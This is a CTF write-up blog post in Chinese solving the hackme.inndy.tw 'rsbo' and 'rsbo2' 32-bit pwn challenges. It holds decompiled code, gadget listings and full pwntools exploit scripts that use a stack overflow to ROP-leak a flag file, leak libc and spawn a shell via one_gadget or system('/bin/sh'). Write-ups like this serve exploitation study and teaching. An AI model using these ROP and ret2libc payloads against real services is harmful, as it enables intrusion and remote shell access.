avatar

hackme.inndy.tw rsbo

Idea

一道32位的rop,老规矩,先看看保护和逻辑确定一下思路。

1
2
3
4
5
6
7
carlstar@ubuntu:~/Desktop$ checksec rsbo 
[*] '/home/carlstar/Desktop/rsbo'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[80]; // [esp+10h] [ebp-60h]
int v6; // [esp+60h] [ebp-10h]
int v7; // [esp+64h] [ebp-Ch]
int v8; // [esp+68h] [ebp-8h]
int i; // [esp+6Ch] [ebp-4h]

alarm(0x1Eu);
init();
v8 = read_80_bytes(buf);
for ( i = 0; i < v8; ++i )
{
v3 = rand();
v7 = v3 % (i + 1);
v6 = buf[i];
buf[i] = buf[v3 % (i + 1)];
buf[v7] = v6;
}
write(1, buf, v8);
return 0;
}

init函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void init()
{
char buf[16]; // [esp+14h] [ebp-24h]
int fd; // [esp+24h] [ebp-14h]
unsigned int seed; // [esp+28h] [ebp-10h]
int i; // [esp+2Ch] [ebp-Ch]

fd = open("/home/ctf/flag", 0);
read(fd, buf, 0x10u);
seed = time(0);
for ( i = 0; i <= 15; ++i )
seed = (signed int)(1337 * seed + buf[i]) % 0x7FFFFFFF;
close(fd);
memset(buf, 0, 0x10u);
srand(seed);
}

可以看到在 read_80_bytes(buf) 处有明显的栈溢出,有nx,那么很适合做rop。由于是32位的程式,参数都在栈中,所以不需要考虑寄存器的使用,只需要找pop|ret即可,但我们可以更巧妙的来做rop。

_start的反汇编代码,由于函数的输入在程式的开始,我们可以每次跳到这里,即程式初始化的地方,会初始化堆栈。这样的话不用gadget使堆栈平衡也是可以的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:08048490                 public _start
.text:08048490 _start proc near ; DATA XREF: LOAD:08048018↑o
.text:08048490 xor ebp, ebp
.text:08048492 pop esi
.text:08048493 mov ecx, esp
.text:08048495 and esp, 0FFFFFFF0h
.text:08048498 push eax
.text:08048499 push esp ; stack_end
.text:0804849A push edx ; rtld_fini
.text:0804849B push offset __libc_csu_fini ; fini
.text:080484A0 push offset __libc_csu_init ; init
.text:080484A5 push ecx ; ubp_av
.text:080484A6 push esi ; argc
.text:080484A7 push offset main ; main
.text:080484AC call ___libc_start_main
.text:080484B1 hlt
.text:080484B1 _start endp

1、溢出后控制eip,open函数打开flag

2、跳转到_start,read函数把flag读到bss段

3、跳转到_start,write函数把flag输出到标准输出

这里利用的时候不得不说文件描述符 (file descriptor) 的一些知识了。

文件描述符 (file descriptor)

在linux中,进程是通过文件描述符(file descriptors 简称fd)来访问文件的,文件描述符实际上是一个整数。在程序刚启动的时候,默认有三个文件描述符,分别是:0(代表标准输入),1(代表标准输出),2(代表标准错误)。再打开一个新的文件的话,它的文件描述符就是3。

内核为每个进程维护一个已打开文件的记录表,文件描述符是一个较小的正整数(0—1023),它代表记录表的一项,通过文件描述符和一组基于文件描述符的文件操作函数,就可以实现对文件的读、写、创建、删除等操作。

文件函数

open(打开)、creat(创建)、close(关闭)、read(读取)、write(写入)、ftruncate(改变文件大小)、lseek(定位)、fsync(同步)、fstat(获取文件状态)、fchmod(权限)、flock(加锁)、fcntl(控制文件属性)、dup(复制)、dup2、select(文件监听) 和 ioctl

gdb

首先看看溢出的padding是多少,运行起来后生成测试的padding。

再看一下flag的地址,接下来就是常规的rop思路了。

exploit

exp1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])


elf = ELF('./rsbo')

target = remote('hackme.inndy.tw', 7706)
ret_addr = elf.symbols['_start']
open_addr = elf.symbols['open']
read_addr = elf.symbols['read']
write_addr = elf.symbols['write']
flag_addr = 0x80487d0
bss_addr = elf.bss()


payload = fit({108:[p32(open_addr), p32(ret_addr), p32(flag_addr), p32(0)]}, filler = "\x00")
target.send(payload)

payload = fit({108:[p32(read_addr), p32(ret_addr), p32(3), p32(bss_addr), p32(0x60)]}, filler = "\x00")
target.send(payload)

payload = fit({108:[p32(write_addr), p32(0xdeadbeef), p32(1), p32(bss_addr), p32(0x60)]}, filler = "\x00")
target.send(payload)
flag = target.recvall()
print flag

#target.interactive()

exp2:

1
2
3
4
5
6
7
8
9
10
11
12
13
carlstar@ubuntu:~/Desktop$ ROPgadget --binary rsbo --only "pop|ret"
Gadgets information
============================================================
0x0804879f : pop ebp ; ret
0x0804879c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483cd : pop ebx ; ret
0x0804879e : pop edi ; pop ebp ; ret
0x0804879d : pop esi ; pop edi ; pop ebp ; ret
0x080481aa : ret
0x08048608 : ret 0xd089
0x0804850e : ret 0xeac1

Unique gadgets found: 8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])


elf = ELF('./rsbo')

target = remote('hackme.inndy.tw', 7706)
ret_addr = elf.symbols['_start']
open_addr = elf.symbols['open']
read_addr = elf.symbols['read']
write_addr = elf.symbols['write']
flag_addr = 0x80487d0
bss_addr = elf.bss()


payload = fit({108:[p32(open_addr), p32(0x0804879e), p32(flag_addr), p32(0), p32(ret_addr)]}, filler = "\x00")
target.send(payload)

payload = fit({108:[p32(read_addr), p32(ret_addr), p32(3), p32(bss_addr), p32(0x60)]}, filler = "\x00")
target.send(payload)

payload = fit({108:[p32(write_addr), p32(0x0804879d), p32(1), p32(bss_addr), p32(0x60)]}, filler = "\x00")
target.send(payload)
flag = target.recvall()
print flag

#target.interactive()

rsbo2

这道题目要求getshell,逻辑和保护还和上面一样,所以直接就说思路啦~

大的方面可以分为2种方法:ret2magic和ret2sys_plt。在学习大佬们的wp时候发现都是ret2sys_plt。我突然想到既然可以做rop,而且程式加载了 readwrite 那么就可以泄漏出来libc,而且题目给了libc文件,不给的话也可以通过泄漏出2个函数真实地址得到。那么有了libc_base,one_gadget是不是可以用了呢?

ret2magic

先泄漏出write函数的真实地址,然后计算libc_base加上magic再第二次ret时直接返回到one_gadget。想法不错,我写好测试脚本把所有的偏移都测试了,都失败了,就剩下最后一个偏移了,本来没抱多大希望,结果还真就成功了。。所以说啊,不到最后一刻千万别放弃。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 ~/Desktop  one_gadget libc-2.23.so.i386                                                         
0x3ac3c execve("/bin/sh", esp+0x28, environ)
constraints:
esi is the GOT address of libc
[esp+0x28] == NULL

0x3ac3e execve("/bin/sh", esp+0x2c, environ)
constraints:
esi is the GOT address of libc
[esp+0x2c] == NULL

0x3ac42 execve("/bin/sh", esp+0x30, environ)
constraints:
esi is the GOT address of libc
[esp+0x30] == NULL

0x3ac49 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL

0x5faa5 execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL

0x5faa6 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])

target = remote('hackme.inndy.tw', 7706)
libc = ELF('./libc-2.23.so.i386')
elf = ELF('./rsbo-01c51ca9a7b9db3d69289c6dbb1cd758')
plt_write = elf.symbols['write']
got_write = elf.got['write']
ret_addr = elf.symbols['_start']
payload = fit({108:[p32(plt_write), p32(ret_addr), p32(1), p32(got_write), p32(4)]},filler = "\x00")
target.send(payload)
write_addr = u32(target.recv(4))
libc_base = write_addr - libc.symbols['write']
one_gadget = 0x5faa5
magic = libc_base + one_gadget

payload = fit({108:[p32(magic)]},filler = '\x00')
target.send(payload)
target.interactive()

ret2sys_plt

大体思路都是把返回到system_plt,稍微有区别就是参数/bin/sh写在哪里。可以把参数写到bss段上,当然我们手上有libc文件,程式用这个libc加载的,所以我们可以看看这个libc中有没有/bin/sh这个字符串。这里就演示在libc中寻找参数。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(log_level = "debug")

target = remote('hackme.inndy.tw', 7706)
#target = process('./rsbo')
libc = ELF('./libc-2.23.so.i386')
elf = ELF('./rsbo-01c51ca9a7b9db3d69289c6dbb1cd758')
plt_write = elf.symbols['write']
got_write = elf.got['write']
ret_addr = elf.symbols['_start']
#gdb.attach(target, "b *0x8048733")
payload = fit({108:[p32(plt_write), p32(ret_addr), p32(1), p32(got_write), p32(4)]},filler = "\x00")
target.send(payload)
write_addr = u32(target.recv(4))
libc.address = write_addr - libc.symbols['write']
sh = next(libc.search('/bin/sh'))

payload = fit({108:[p32(libc.symbols['system']), p32(0xdeadbeef), p32(sh)]},filler = '\x00')
target.send(payload)
target.interactive()

Author: CarlStar
Link: http://yoursite.com/2018/11/10/rsbo/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

Comment